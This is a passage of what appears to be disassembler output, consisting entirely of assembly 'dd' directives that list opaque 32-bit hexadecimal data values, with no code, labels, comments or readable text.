		dd 5E4340AAh, 1FD6ADCh,	40ECFB40h, 0CE9D5DE2h, 0B65AA1B4h
		dd 0F8EAFCE7h, 6857F0AEh, 822F4CA0h, 231846D8h,	0BD056DE8h
		dd 78303607h, 5DF9C8EFh, 351886C3h, 0CFB200F3h,	46F9659Ah
		dd 0D772874Fh, 89E9DA12h, 0EAC813FFh, 0ED9774A7h, 0B2D893B7h
		dd 0EAF84B60h, 8AEFF835h, 3887518Fh, 4CBD0247h,	6066470Ah
		dd 3B7CB48Bh, 0ED025531h, 978C5044h, 2C5C8A5Dh,	4058761Ah
		dd 8059CEF0h, 21734940h, 0DEB12BB5h, 7C298DC2h,	2F7B3010h
		dd 0C3D5C660h, 0B0D23E7h, 244E68E0h, 0E9166B46h, 0A4F81052h
		dd 0A2EBF5C6h, 9E685002h, 797CBF59h, 0D8F7407Fh, 60057505h
		dd 0F1E9BC0Fh, 0B3560A0h, 8A335E43h, 7FDE0601h,	0C1C2405Ch
		dd 0CA188467h, 0E9C6290Bh, 0F60352E8h, 0B70BEA97h, 5B71E0BFh
		dd 4DEB3387h, 23406806h, 3B4ADFB5h, 21C4B1ECh, 61350045h
		dd 0B87A0E72h, 5C697005h, 3016EDB8h, 29D8EE36h,	157975Ch
		dd 0D0283783h, 72E2288Bh, 0B982D551h, 5F318D0Dh, 0C2091F3h
		dd 0C45F5826h, 0C41F2102h, 0FD19551Dh, 29716057h, 0CC42B981h
		dd 0CDF28290h, 70AFE659h, 40E802BFh, 5FF829FCh,	7488B5FCh
		dd 775C176Fh, 0F093DF8Fh, 0F238804Bh, 0BAD331B4h, 0F37FFBC4h
		dd 0C18B9F8Ah, 9244D4D0h
		dd 9C0EE06h, 65ED5116h,	0AE081663h, 86A19302h, 0A0222B2Ch
		dd 0C0DFF589h, 95032740h, 55EB4C5Ch, 0BDE0174Ah, 0FEE8EF80h
		dd 5351C700h, 0D9B514B7h, 5E4B27E9h, 825C58D6h,	4B9C70FFh
		dd 0C58AAE5Dh, 0D9D754C9h, 3A55E961h, 680D3035h, 9F357058h
		dd 79E2A6F6h, 50797513h, 40F07EC2h, 78478F76h, 0D7CC3140h
		dd 6AF18910h, 0CA827937h, 7D534A52h, 0E9C2057Eh, 759BCA0Ah
		dd 724BB4D3h, 40BB2442h, 0A4E1215h, 13F2FBABh, 1F80EF68h
		dd 2F053FF3h, 105FB777h, 27685C17h, 8AD97436h, 0EFF876B5h
		dd 0C51DF24Ah, 9FE15A5Dh, 7CE7242Bh, 2259E9AAh,	5ABD5F5Fh
		dd 94644B07h, 6226F31h,	825F4258h, 45A83C7h, 4B8ABBDh
		dd 49B82E7Ah, 85D7A592h, 0E3FF01FEh, 45977A0Fh,	0F1F68129h
		dd 6F2C7DE9h, 6B68E390h, 48762450h, 92EF1A91h, 43D9C533h
		dd 0C3F7798Fh, 0DDBCCF85h, 827A165Ah, 0B1E877h,	54ABF181h
		dd 0C12C137h, 292747B1h, 3804E1E0h, 0C7DEE941h,	0D6C952C0h
		dd 8698859Bh, 2D502C67h, 4416BA8Bh, 400122AAh, 7E4E748Ch
		dd 0B8191883h, 340B5ACBh, 752367E9h, 54558138h,	0CA2003B0h
		dd 3A52951Fh, 0B050D401h, 5E0C0A6h, 0D1C29FE1h,	0DC348CEFh
		dd 91B04D8Eh, 7182A09h,	868FC52h, 0F709C61Dh, 0A22E00DDh
		dd 906E0D4Fh, 3ED105B2h, 0F1012D25h, 800805ABh,	2EE9EF11h
		dd 0A9FF6027h, 0C171B2ECh, 4C7DF229h, 2047A805h, 6631BC61h
		dd 0B013A45Ah, 45D90C65h, 0DD626474h, 0AF250217h, 0FDEC5CBBh
		dd 48B602F5h, 5AE91399h, 0A9FD8BA9h, 0ACC377B9h, 3E7F5677h
		dd 30036E2Eh, 1AF8EA30h, 25340326h, 40B31F93h, 0C59896ABh
		dd 520B2D38h, 57FC91DDh, 0E768E581h, 48802330h,	43713DAh
		dd 0FD70168Ch, 7F95B606h, 95A5BCA6h, 0DCCD8102h, 8F32EE01h
		dd 1E97A5A7h, 3B7E39AEh, 2FAEEB0h, 0E919DF6Ah, 8948C9C6h
		dd 0CC2869FBh, 28018733h, 0E9117349h, 0E96ED1ACh, 273B48A0h
		dd 0F7862790h, 9F5DA19h, 5224EABh, 0FFE378D5h, 0B84BAB2Eh
		dd 0DE37A83Bh, 1A72D38Bh, 0FAE57513h, 0EE13CA97h, 969CB2ABh
		dd 512DC899h, 9181093h,	0FF272988h, 0F6B7369Ch,	7968506Dh
		dd 3DE32D4Eh, 0BE128C16h, 4ED1BD22h, 7419CD4h, 1B0A7418h
		dd 2B047F5Ch, 84AA1B05h, 2DA4C2D5h, 0CCB00A89h,	0A1B8C829h
		dd 8A486F02h, 7D09E975h, 0EF10F309h, 47BEC366h,	97127FEFh
		dd 0A0EB78E4h, 0B84DBBA9h, 232009AEh, 50125495h, 11C080Dh
		dd 6584E914h, 2DF43012h, 2DAC5C95h, 302F1EFDh, 0F787372Ch
		dd 0FB5C9887h, 27125944h, 39DB31C2h, 0A17FA435h, 0AA1C74E5h
		dd 0B9B6355Bh, 0FE4D6716h, 3E0C2871h, 0DB6F497Bh, 0BA518342h
		dd 0B15DADCCh, 6C06809h, 0BAF50261h, 5FE00F59h,	2F3829EFh
		dd 12D666BDh, 2501B1BBh, 7B23A00h, 6AD156D9h, 45E10BCDh
		dd 0E8BDBC34h, 993A4832h, 372AC710h, 1A92A55Ah,	0F157688Bh
		dd 63F9955Eh, 8D07BADh,	22B4271Ch, 83CB0481h, 0E2E7092Ch
		dd 185FFC08h, 0AA36DEEAh, 0F3D08210h, 50F509FBh, 9808D27Fh
		dd 1C5C9B17h, 6D768281h, 0CF87DD47h, 5D609E04h,	3186ECFFh
		dd 18C258FEh, 568EE908h, 0E7BA0714h, 0F0147C78h, 894102B7h
		dd 9867FDE1h, 5F011132h, 0A6254D33h, 0BBC6406Bh, 65213F17h
		dd 4EAD4EFAh, 11E9E3D2h, 0EB96F274h, 0EA3821EEh, 34AE7D80h
		dd 24C79506h, 2AA14DC1h, 25902E80h, 0DE318D4Ch,	1F4039B0h
		dd 0C98BEC59h, 0EB555BFBh, 639B4C90h, 0C6E6B827h, 7E112920h
		dd 0D7C1F443h, 318CC245h, 0ACA8E5D5h, 8C5F16E9h, 234EC3DDh
		dd 1FA1628Ch, 4B16310Eh, 0A7466ABBh, 5DD5120h, 234942Dh
		dd 0B0C4EF5Ah, 0F965071Dh, 0E6B10A61h, 0CF312EF1h, 0B062B289h
		dd 0F140DD7Ch, 486DBAC2h, 0AF5E9AF2h, 0CE016E01h, 176485E9h
		dd 20A0A050h, 6F28284Fh, 12B35AACh, 0BDE0FAF5h,	4DBEA76h
		dd 1068C3FEh, 0B1388C35h, 0E180D20Fh, 86C1E149h, 7BE7F6D1h
		dd 0EBF10A08h, 8BCCB30h, 0B9010E02h, 46436108h,	0C4414E2Ah
		dd 0AF37FFEEh, 40213728h, 0ACC95255h, 1E8C90F1h, 1FEE58DEh
		dd 565FF900h, 302D6851h, 0F407FC30h, 7C3BC3C1h,	160CC148h
		dd 2EEC37A2h, 99204A3h,	0A951F23Ch, 225BA6BCh, 5FADBBCh
		dd 126BF40Bh, 5187AE3Fh, 0DD7DA2B2h, 0C26B80A4h, 0F27733C8h
		dd 6073953Ah, 9783B197h, 3872A788h, 0FFA25510h,	2E491B9Eh
		dd 0B737A85Fh, 4A689A40h, 0A121AB54h, 70835053h, 7C9628Ch
		dd 7E57E451h, 0FC5A25E8h, 270D20DBh, 6C55EA83h,	0C15376FAh
		dd 3E7BF1CBh, 2B8BB93h,	0E2E126B3h, 80D8A301h, 4A817E6Ah
		dd 1009DA0Ah, 0F05AB4BFh, 0B2F6854h, 2AA56662h,	9FEF38A6h
		dd 3A13D2C8h, 0C7E5B30h, 40CF0354h, 0C5B82706h,	58292A25h
		dd 400883ABh, 257140Ch,	0AD3DCE68h, 24D65F34h, 0F85D8882h
		dd 5793E02Fh, 0B8B47375h, 5F7716FAh, 0E59A0EB7h, 14D32B61h
		dd 0D9423A4Dh, 788F4B37h, 0B01B0B81h, 8255214Ch, 8E654C1h
		dd 0E84008A6h, 3CA55035h, 4AD2497Ah, 4BD34877h,	58EB0F55h
		dd 0E1A7F289h, 0CA120E16h, 208D4C73h, 0E6801C5Eh, 0B3F6CE8Dh
		dd 0C01C6C6h, 3FDF5748h, 0FD4EF35Ah, 2668B7E0h,	61AC251Dh
		dd 7F286CB3h, 6681E2F3h, 0E2436853h, 93301ACCh,	81461003h
		dd 2B9A0BCEh, 11754896h, 19E08FEFh, 0F0290BD5h,	8D4F8E9h
		dd 4EB4F527h, 0C7327430h, 0B588B6EFh, 0D89D8958h, 4E45E159h
		dd 5073808h, 4C38A868h,	9C20814Ah, 47146B7Dh, 13063558h
		dd 28EF16E9h, 547D5502h, 7322315Ah, 0B221060Ch,	0BA1B2625h
		dd 1A485F5Eh, 19BED03Ch, 3D038601h, 0CCEC487Eh,	58909D37h
		dd 2FEA6856h, 0CAB4EC67h, 0F0A664DBh, 0AC284E5Dh, 681FDD6Dh
		dd 2F3C439Eh, 69C25B2Ch, 2591EDEh, 53A7E61h, 0BA555CF4h
		dd 0C02073DDh, 819A5259h, 0C1DD2D8Bh, 84405E91h, 0C02555E9h
		dd 52CAC527h, 0DCBF61A2h, 13082045h, 0F5F08DE9h, 5BD2DE23h
		dd 978C4C20h, 5CBFC5D2h, 0A50C30B0h, 70524A07h,	0B0610E2h
		dd 93A8F85Bh, 2EE71801h, 0E17E6986h, 6068993h, 0E35E4Bh
		dd 2997AF54h, 92DE9DFh,	0FBCEE4CCh, 0E3169F22h,	921CB302h
		dd 66752405h, 4DB9A430h, 3C9271Dh, 659F28C4h, 515EA5E1h
		dd 296CAD59h, 0F4BE1D7Eh, 89CB89AEh, 0C644EB5Ch, 0EEB916AFh
		dd 6C17628Fh, 109DA347h, 66131F68h, 0B1A2BB50h,	0BF121094h
		dd 0BBE2AF57h, 0FC49E985h, 0D2B92F0Dh, 0C8293EFDh, 943BE42Ch
		dd 9E12EE28h, 5039ABEEh, 20B21041h, 2A945368h, 3B32FC1Fh
		dd 0A0903924h, 0D6341756h, 4771EEFEh, 5F81DAFAh, 5B7D71F7h
		dd 524EC7Fh, 27649Dh, 61AE3D26h, 9AB988BFh, 25E8A454h
		dd 0B03EAC41h, 3913E6D5h, 39E95A72h, 80787A2Eh,	5362B1BFh
		dd 0F7952944h, 0B541DAEh, 0C22344Ah, 7C3CEEDBh,	8E3C9BDh
		dd 843ECEE1h, 82C4E357h, 0A0D8A1E9h, 394BFAA5h,	0C1012565h
		dd 0A57745DDh, 61C208E9h, 15FA2E22h, 720565DDh,	0AA097E1Ch
		dd 17A5A416h, 96E90B01h, 5F5E9752h, 0B756AFD4h,	0D6EBF4D1h
		dd 8055279h, 44E0AE58h,	493496FCh, 0E10E7905h, 9EC0226Dh
		dd 1E4BD090h, 6DB00989h, 0FC279C7Dh, 1194D5Ch, 2E912D03h
		dd 0F8FA1A08h, 80198C2h, 61060205h, 0E9E8F4CDh,	0DC097BE3h
		dd 2F9C0042h, 0B0697107h, 0AF7A0B16h, 8B7D0276h, 0E425EA3h
		dd 0E96EEFD6h, 6CA9D969h, 0F4D19277h, 1C5A272Fh, 115D8B0Fh
		dd 8BB8323Ah, 0ED121FA3h, 20AFD3F7h, 0D4415786h, 0D0F24C76h
		dd 0C06B7F25h, 281427EBh
		dd 7B30086Ah, 0ACE912D9h, 0E09BB4A4h, 0CA5F783Bh, 1BA88BFBh
		dd 88485756h, 26236E6Fh, 839598E9h, 6680B450h, 0F6E688F8h
		dd 78DAD65Ch, 19307090h, 2CF04107h, 3016C41Fh, 29EC82C3h
		dd 25C1C5D7h, 0D75296B0h, 95EB0180h, 5EB30FCh, 811AFA3Dh
		dd 4C76771Ah, 0B5E816EBh, 7CBDCE44h, 9C591E7Ch,	7C29CBCFh
		dd 0F42F0171h, 82AE09ECh, 0CC5804D2h, 0D790D271h, 50790BBAh
		dd 746BB0Eh, 0E9F186F4h, 0FE36FC61h, 5C80C239h,	42F20754h
		dd 8AF2D028h, 1F55C5A5h, 0B1570956h, 7E27E6E7h,	8B6DC6E8h
		dd 5DEA010Bh, 0AD817431h, 27E0175Fh, 46EF32h, 0B6BEE912h
		dd 0F5217B52h, 0BA00D89Dh, 6B7A6418h, 5AD72912h, 92E6A4AAh
		dd 150BFB72h, 461B2EE9h, 0C5545EC5h, 8E6D0476h,	89550F57h
		dd 9FA3D04Eh, 0BBC83974h, 2793BF02h, 5B38E187h,	0FE33419Bh
		dd 7A1373C1h, 3868639Ch, 0EE5F62FDh, 0B7E88828h, 68846EC5h
		dd 8FBE1B84h, 0DA277FCFh, 4B74730Bh, 0CD893875h, 0BD00B2D2h
		dd 514C8DECh, 0EC2CB42Bh, 0A830975Fh, 0FF59C22Dh, 0F181C03Dh
		dd 67EE373Dh, 12200C19h, 5A42038Dh, 5A20516Eh, 88580D27h
		dd 0ADFF871Ch, 0E3E0BA4h, 221ED367h, 7A587884h,	86002EAh
		dd 3AC31E64h, 88DC5C2h,	0C8A36B8Eh, 773ABF00h, 68552A19h
		dd 5205A109h, 62A2D426h, 3A8FEF21h, 319C4512h, 94D487DAh
		dd 7FE7AFFEh, 49D99A72h, 0C75E331Eh, 0B0018466h, 0E23530F5h
		dd 0F8F0D066h, 0C212FB81h, 0FFD7AB5Fh, 761D7A00h, 0CBFA3219h
		dd 6F25060Bh, 0E3AD8058h, 4C4C7D29h, 0E9099130h, 0F57C8EB4h
		dd 48906884h, 781028F3h, 0C5D25F4h, 810806F4h, 73EDFC07h
		dd 0FBAC1EC9h, 8546131Dh, 0F5B3BBD4h, 0E857EACBh, 0A3CA8EBCh
		dd 5A89AB86h, 0AC73AA0Bh, 0F538F9C2h, 687B706Bh, 2EE16E37h
		dd 68693CABh, 5956702Dh, 1B82BBA9h, 0DDE96BB4h,	0CA926958h
		dd 34FD79FFh, 0F9AF4301h, 2B200461h, 81404DFBh,	0E94F30CDh
		dd 0F5A5664Ah, 86C2B93Ah, 3750BB18h, 0C030454Dh, 68309170h
		dd 4F0B5C38h, 81B62DEBh, 7F93BE44h, 0B92B3E37h,	3DE984E8h
		dd 0EE4A3EBCh, 8F30C1C7h, 0FC13780Bh, 0F20F5F0Ch, 6898012Ch
		dd 5587C87h, 0ADE40645h, 0ACB9B4C0h, 31123C56h,	0C54E8C84h
		dd 0EDB5C954h, 2A70610Bh, 1A7EA48h, 6F84E908h, 6B65B33Eh
		dd 1FE9733Fh, 0CA2DAAAAh, 6FC60586h, 0A3401004h, 651594Bh
		dd 305B2AF0h, 10D1309Ch, 0E0CE6D7h, 573BA525h, 81059524h
		dd 44AA1476h, 5AF9A8DAh, 523213E8h, 82D76F1Ah, 0D6A2E954h
		dd 934C25E1h, 7B7DAF8Ah, 0F0C3E415h, 88EC5DBCh,	0F1D3A34Fh
		dd 0A41E8B11h, 0F7B505BAh, 0E104ABD8h, 68021290h, 86A21542h
		dd 0C101D172h, 802E07E3h, 8221C863h, 0EC3360B5h, 4B279C8Dh
		dd 7BFD4402h, 125FD492h, 5FA6C2E5h, 81DD192Bh, 0FED88C8Bh
		dd 7BABB62Eh, 30792030h, 4FB759B6h, 0C70A4202h,	7C7D28B9h
		dd 0DA01586Ah, 7D314ACEh, 1814A9CCh, 877C3F88h,	0A0C8336Bh
		dd 54D94E9h, 0C9DE8188h, 497ADA4Ah, 96DFEEABh, 0C4D4BD41h
		dd 197D5Ah, 4CBF00C8h, 95B2C01h, 93B81D38h, 0EF680040h
		dd 781D65C2h, 72BF0CC1h, 24833ECEh, 0ADEAE33Fh,	3BE0C04h
		dd 0DBC33993h, 505016FCh, 0B684ABB8h, 3A6CD1BFh, 67BA0440h
		dd 9035C216h, 1B49E0A2h, 65D0BB22h, 910C2F40h, 0E9244303h
		dd 2D921476h, 8B6991ABh, 0DC77FE80h, 0FD7AC9EAh, 7E38D60Bh
		dd 0EFBCF541h, 0B41E92Fh, 9F0994C8h, 0B70C8FC5h, 701BFE4h
		dd 5A08EE5Fh, 4564C64Ah, 0BDFBDCBDh, 27117C1Ch,	62753AF7h
		dd 7B2B7F29h, 785B8E50h, 0F8AF1A84h, 2EE9A86Dh,	85942FC7h
		dd 80BB73AAh, 6648E2AEh, 0F40C032Dh, 93D62560h,	0FC9DF207h
		dd 0D2DEE981h, 5EEF6424h, 8664E902h, 81509836h,	0C804C7B2h
		dd 0B85E9337h, 50B5CD49h, 0B0EEE0B3h, 89B30184h, 0EBC0D3F6h
		dd 66B17B06h, 0C3CCE5D5h, 0D8281C6Dh, 0E9F0025Bh, 0C5F71AD2h
		dd 34FB8041h, 0F2013E5Ch, 0E9AE910h, 3C7D592Dh,	889B9EACh
		dd 501301A3h, 41257DBEh, 7A61C048h, 68552122h, 257A71E6h
		dd 0F5081152h, 0C3222707h, 0B50031E5h, 0B0E828A6h, 0F603F1A4h
		dd 8EAACC50h, 0D4EB65D7h, 7D91F868h, 802AD461h,	69D49C2h
		dd 0AEEA8F71h, 0D7CE4AC5h, 0CC5F0B93h, 0AFF54F0Eh, 6D673AD0h
		dd 0F0055018h, 0D94818B8h, 4B5FA879h, 4E57662Eh, 0BF5D4AFh
		dd 0B418BFE9h, 5B240BF2h, 0C582044Ah, 54731A45h, 0EFE90422h
		dd 28F3FFF0h, 8E68B88Bh, 3B1812E2h, 544442C5h, 4B8C2444h
		dd 8F32892Ch, 0E23F6855h, 0C7371F36h, 0E009FF6Bh, 1082FF5Fh
		dd 2D48AD57h, 89BEC649h, 349019Fh, 0B10F9637h, 21D6088Eh
		dd 30AA2B28h, 33282E87h, 0C5B0D3F3h, 0CC2DE9B2h, 0DD925767h
		dd 0EE574A8Eh, 0B4C9904h, 0C1FFCDAFh, 6F536E46h, 669F5F01h
		dd 85F56CCFh, 5FFEEE64h, 34D5F9C4h, 0C9BF0A07h,	0E438522Eh
		dd 0B80038DCh, 0BF5548Eh, 42F70F2Dh, 2EE977CBh,	9685C477h
		dd 0AEA408FBh, 80EDD10Bh, 0A777AC55h, 40839820h, 5055F0Bh
		dd 3A4823C5h, 74134B8h,	0AB2AF021h, 0A46E2279h,	133E164Dh
		dd 0DF68174h, 460EFA19h, 7E71C6DCh, 81855FF0h, 7053F7Bh
		dd 5C7DC1DEh, 8EE1004h,	0C57788D2h, 0E2338100h,	9109459h
		dd 0EA6685Bh, 9F805D44h, 0F1266471h, 7F137C0Ah,	0EB51FBBDh
		dd 0E83456D0h, 27AB554h, 13AA509Dh, 0E18D70D6h,	6C30E4F7h
		dd 0E92C36F2h, 1BA4C4CDh, 1F32D14h, 55B25251h, 0CB6FD328h
		dd 78321695h, 0BA96E6B3h, 27588F8Ch, 19FFB668h,	1CEBA667h
		dd 0CE04E56Fh, 938F94EDh, 0CE0560A4h, 0EDA14AD6h, 8C2A986Fh
		dd 9F587140h, 77141075h, 0F3B9A38h, 741251F8h, 1CA6A8E6h
		dd 5A4D097h, 3295E38Fh,	0E4B6F131h, 46FC7EE4h, 0C1FC294Ah
		dd 45B0840h, 391BCB05h,	400ABC2Dh, 874E5F07h, 0DBED8BBh
		dd 6B14AFD3h, 1A951728h, 80450AFh, 0C0A9C04Fh, 6100EC66h
		dd 0F37FC735h, 24A42D59h, 3A4AE8FCh, 876EE5A6h,	66C386D3h
		dd 0D19F08C0h, 2EF5C21Fh, 0C302410Ah, 0C049DE2Bh, 4DA6FC49h
		dd 0A413EA9Ah, 0D890A598h, 5751D013h, 9F0E2BB6h, 6851205Ah
		dd 9F263F04h, 6AE04AE2h, 8216355Fh, 0E8138640h,	25A4CBABh
		dd 0CE605DEFh, 0E916D701h, 80EDF925h, 0D15CE300h, 62B9513Ch
		dd 9C7E0926h, 1E2CC100h, 27E9A17Ah, 0C5445D9h, 64BD064Fh
		dd 7F679D7Bh, 0E90B2BA9h, 98FD8F7h, 72EA6845h, 12098166h
		dd 8546886Ah, 2BD9DB08h, 0F6029B11h, 50BE1681h,	0E8A563E0h
		dd 7BF5DAFBh, 62556DCCh, 8685603h, 3D534675h, 0B32F56B5h
		dd 0FA398148h, 8FF7F5C7h, 294A96E0h, 5F75C2F9h,	5CF65CE9h
		dd 0FDBEF587h, 0EB21FAD0h, 0D529C5Dh, 0EA21200Bh, 8010D855h
		dd 162324D7h, 0F04D3F7Eh, 216D8CDh, 57E01E60h, 202F315Ch
		dd 0E921300Ch, 0CD503B36h, 3BA94108h, 8708B509h, 0A7925104h
		dd 0B69055F0h, 735B3D68h, 5DF3768Ch, 2D046C4Ch,	0E87A8C62h
		dd 0E955C113h, 5073F8DFh, 313A680Bh, 6F5465D2h,	3298EEE8h
		dd 5E5AED1Ch, 96A956D6h, 89EC0841h, 15E918EAh, 0D0BB32DCh
		dd 78536B18h, 4B4205D0h, 1853C0F0h, 4F48331Bh, 7040125Ah
		dd 0C87AC88Dh, 57956C3Eh, 3D4D612h, 0B23C7082h,	8C108701h
		dd 0D27BC292h, 83D298FCh, 49DA260Ah, 0E0CBA224h, 7646BF25h
		dd 6A54DE9Dh, 788B02B9h, 0FA607EF0h, 840433C7h,	0E7C3E94Eh
		dd 0DE6EF8EAh, 0D0AE7193h, 5A4D2920h, 0E1011076h, 6E744FF6h
		dd 0D13BD9F7h, 358A7A5h
		dd 6C641C5Fh, 0EB30D278h, 50EBFC16h, 0BD790B9Fh, 0E5499BECh
		dd 0F7400E5Ah, 2F4B7ED0h, 28982052h, 10E0659h, 1C4F1D35h
		dd 0C1E80D7Bh, 9361F21Bh, 5F8A6E19h, 4C590F3Eh,	2CC22B10h
		dd 55AF2629h, 0EE5DEE84h, 0BEF166ECh, 0DF902F40h, 3B0F50F5h
		dd 0E50F37CEh, 187B3266h, 0D1867B0h, 221DD8B7h,	0ED02A4E7h
		dd 687D1BF4h, 10274331h, 490A7A1Eh, 0CB503CBFh,	0B65500EBh
		dd 0BBEE8058h, 213FCEE6h, 7AB49C66h, 0BBFE61Dh,	825AF528h
		dd 0EB884Fh, 0B04BE95Bh, 0D2661B9Dh, 0CD94D7E4h, 26D2F4B0h
		dd 83A538EBh, 1677DAF7h, 8019B63Dh, 929162Dh, 0FB97D831h
		dd 475D4954h, 6DB82FD7h, 669FE368h, 9C8C80C4h, 9E8082DAh
		dd 3EAE0467h, 0B9533F6h, 25ADEC8Fh, 3690BAFh, 5EF3C8FEh
		dd 286F169Fh, 8286C133h, 5D744267h, 0FBF66B8Bh,	6D7C9ED1h
		dd 16CDAC50h, 129FC1Ah,	0BD050F12h, 0A30C8219h,	5F501B45h
		dd 882FED8h, 796C7840h,	0E94C6904h, 0A6EE3494h,	54247BF6h
		dd 0FE525255h, 0D57B88BEh, 892B4E6Dh, 0B9B82E8Fh, 0ADF0FC96h
		dd 0FEEB8089h, 0E1A6CE45h, 364E7501h, 0B970215Dh, 780E6060h
		dd 0D94B18BDh, 6AF9794Fh, 1E90861h, 0BE8DFFFDh,	5E82C9DCh
		dd 6D7A4C0h, 0EE5CA476h, 17DA736Ch, 15F0F7B7h, 3E07F381h
		dd 0C3C6E64Fh, 0E7D16FEEh, 0F5DDB3D2h, 61F5E146h, 0F2958282h
		dd 407DE739h, 5C479FC1h, 5A278A7Bh, 3FBF5840h, 17B40300h
		dd 58956855h, 0DE0E4D10h, 3245EB1Eh, 23C84D60h,	705AB868h
		dd 0E2AAE524h, 7F8D8463h, 9403AA12h, 0D902E344h, 0D7BDEC4Ch
		dd 7E6E1089h, 0B2013F7Eh, 5136E12Ch, 0BABA883Eh, 98B4D2BDh
		dd 37D4147h, 0C98856BBh, 720B3534h, 0D7CE10E6h,	58B44265h
		dd 271BADBEh, 226B8FD8h, 6159CB31h, 0F73043EEh,	0B905F724h
		dd 0B6520292h, 7017B00Fh, 0C7142599h, 540B546h,	0A7443999h
		dd 0E9D80104h, 0B8AD953Ah, 0FA2718h, 286004D5h,	0E42C74E8h
		dd 2DC7BD93h, 2836C06Fh, 0C4B753D8h, 0BF5BF80Ah, 92981572h
		dd 785857B1h, 583E6EB5h, 6DA30DF2h, 6227AF94h, 4132282h
		dd 0C1DA83F6h, 8053FE0Bh, 608C0FE6h, 0E901245Ch, 0CD429572h
		dd 6186CE7Dh, 0C58051A7h, 0D7EDCC01h, 367C073h,	0A9F4D64Ah
		dd 0EAF83CE1h, 98D07301h, 0BC4C25D9h, 0A4AF6AD3h, 0F090B920h
		dd 0C47C6768h, 0BB66DC69h, 55C51334h, 0DF83844Bh, 5854F182h
		dd 5FFD8901h, 0FCD9570h, 1BC93373h, 0BFFCD7E5h,	0E6924CA2h
		dd 0D3C209B4h, 7BEC5DFEh, 9F7AD120h, 0C640597Eh, 4AD8448Dh
		dd 0B4C4AF61h, 1EE90802h, 3C54D9D5h, 0C181682Ah, 6401A492h
		dd 3D8306Ch, 12EB4844h,	4A905E0h, 12593D80h, 11D504AAh
		dd 0A9601321h, 0BC6E9F68h, 81126B30h, 7F6484F7h, 0AC674C53h
		dd 5303551Fh, 3313FBBh,	0B6682030h, 0BE6941EAh,	49A351B0h
		dd 0AD44F357h, 6E9FFEE9h, 0ECBF71C4h, 348DADC4h, 2E1980BAh
		dd 0BA91A0A0h, 0E1C02DE3h, 0CF37C058h, 31E27688h, 40D7B27Dh
		dd 9428B24Bh, 0C3769430h, 0EAE1EE92h, 305B36A4h, 3F5B836h
		dd 354E910Dh, 0C5FC0BF1h, 0EE3BFF2Ch, 97FE4A3Ch, 0BDB93CC8h
		dd 80695782h, 41D86FEAh, 2B0B4105h, 877505BAh, 0B59AB91Ch
		dd 682C1BF3h, 4F5262C2h, 276CC575h, 39341E75h, 6882E1F7h
		dd 0B4E9761Bh, 5B2DE150h, 6CA7FC59h, 72965432h,	0F749EC89h
		dd 0C84B5113h, 11997CFAh, 28EC15Fh, 463DFB4Bh, 89AEBC6Eh
		dd 57D35F5Ch, 60B0F549h, 0D54F29E9h, 0FD728BD7h, 68D3A181h
		dd 8C2A19F9h, 0EF4B1097h, 5925A0B7h, 200AEDDDh,	0E93C5532h
		dd 6B965B00h, 0F15D5AB4h, 20EC3BB5h, 57CCF102h,	0C94007ECh
		dd 130931E8h, 1CB2968h,	0FF333A58h, 0F78F2247h,	0A5B8B740h
		dd 9D65083Fh, 0E6E4807Fh, 58862E89h, 5F105E71h,	5EBE4E78h
		dd 0C0839629h, 11CF8148h, 6386181Dh, 3A97E780h,	69E921AAh
		dd 2218E2CDh, 0E59FD045h, 84311029h, 0B306BC5Fh, 0F1CD60F8h
		dd 2230E0C0h, 49204E2Ah, 657D5B46h, 886665B0h, 0F097F93Fh
		dd 8002B062h, 0C00AB649h, 4B7FF63Bh, 88926BBEh,	8560CCF3h
		dd 7ECEF924h, 0F5C9C2C9h, 8F4B77C6h, 0E984CFF6h, 3A63B1FCh
		dd 68D542FAh, 83514236h, 74196B89h, 0F55B514Eh,	54F33FBEh
		dd 6E38BA6Eh, 56B75E57h, 0BF206F90h, 5AB71663h,	0FCD7F72Eh
		dd 96E44316h, 0D3500407h, 0B925682Ch, 62F6851Bh, 0C091B3FBh
		dd 54634E14h, 182D3D40h, 0AC7D7096h, 2F9F4848h,	12CA40Dh
		dd 6CAF3458h, 317C00B0h, 0C9042590h, 65473CFBh,	0EEFE4F81h
		dd 0C017CC0h, 1F39E9C8h, 6003E27Fh, 0C17B7E69h,	0FA6014EAh
		dd 0D7016078h, 96B3974h, 36CAF4D9h, 838203B4h, 0F47C8F7Bh
		dd 3A298844h, 8002C32Eh, 0D537255Bh, 0AE56A684h, 0F30338F2h
		dd 364A4B45h, 0D2A1AEFCh, 5CF14CC4h, 0E73A411Fh, 20C6F12h
		dd 4F7B490Eh, 2CFC39C1h, 16BE4BACh, 824AF822h, 0C0F855D9h
		dd 80382AE3h, 0DD60F75Dh, 0EFF58104h, 98B3001h,	4A5F9E0Ch
		dd 4AE0595Ah, 4E56B542h, 4FE8CF0Ah, 47146201h, 0A0A5570Ch
		dd 137998DCh, 5B0F8478h, 430410B0h, 2F2CB7FCh, 9539E652h
		dd 0F8EB357Ch, 6FAB45BAh, 39F4E121h, 0D4CF312Eh, 83A72B05h
		dd 0E2BB2F84h, 0E53E8ABDh, 34E4EEAFh, 0EBBCBA67h, 1EBE78C4h
		dd 0BC654C21h, 0BD69E48h, 12705FAh, 0F8DFAFBh, 0D21D8E1h
		dd 31C30810h, 585B060Bh, 729F07E9h, 8041B705h, 0E5C71FEFh
		dd 0E7C3F6B5h, 36AF9437h, 52E6FE59h, 0C296ADB6h, 0FA3FC4AAh
		dd 0B64E2302h, 0C11EE229h, 536D41D9h, 79788305h, 0FED1AB4Dh
		dd 0CDE08A73h, 0BA992AE9h, 97F77979h, 555B9A77h, 0E984047Bh
		dd 70ABC75Ah, 412C687Ah, 0CD0A019Bh, 0A2259AB9h, 5480B3CAh
		dd 2304018Eh, 72858FE9h, 50701C8h, 834B4AFCh, 0C31402DFh
		dd 0E62FE1CDh, 2535E777h, 0E4AA82B0h, 0DA15EB9Dh, 528009ADh
		dd 7C7E3533h, 0C400EE90h, 490FDB30h, 29E94091h,	950C55Bh
		dd 4D836856h, 0CCFA54B6h, 0BB0079F8h, 4C931443h, 187CCAB8h
		dd 0C631533Ch, 5D00560Dh, 0C43546E8h, 9738923Fh, 3C400BE2h
		dd 82FDD108h, 2F324784h, 0F57FCA70h, 0CD3E1878h, 292D8578h
		dd 0EAC559C8h, 0E92FA0FFh, 5A05C427h, 0E32662BDh, 5C5423D4h
		dd 734BA54Fh, 0C267B761h, 50ACEF04h, 47F8BA1Dh,	0F24A58BDh
		dd 135E0D66h, 0EB07BEA6h, 0E97F9731h, 0B56F7829h, 681A3B10h
		dd 0C7961783h, 3A29EE02h, 0E984BB38h, 40E3896Bh, 7D3B6866h
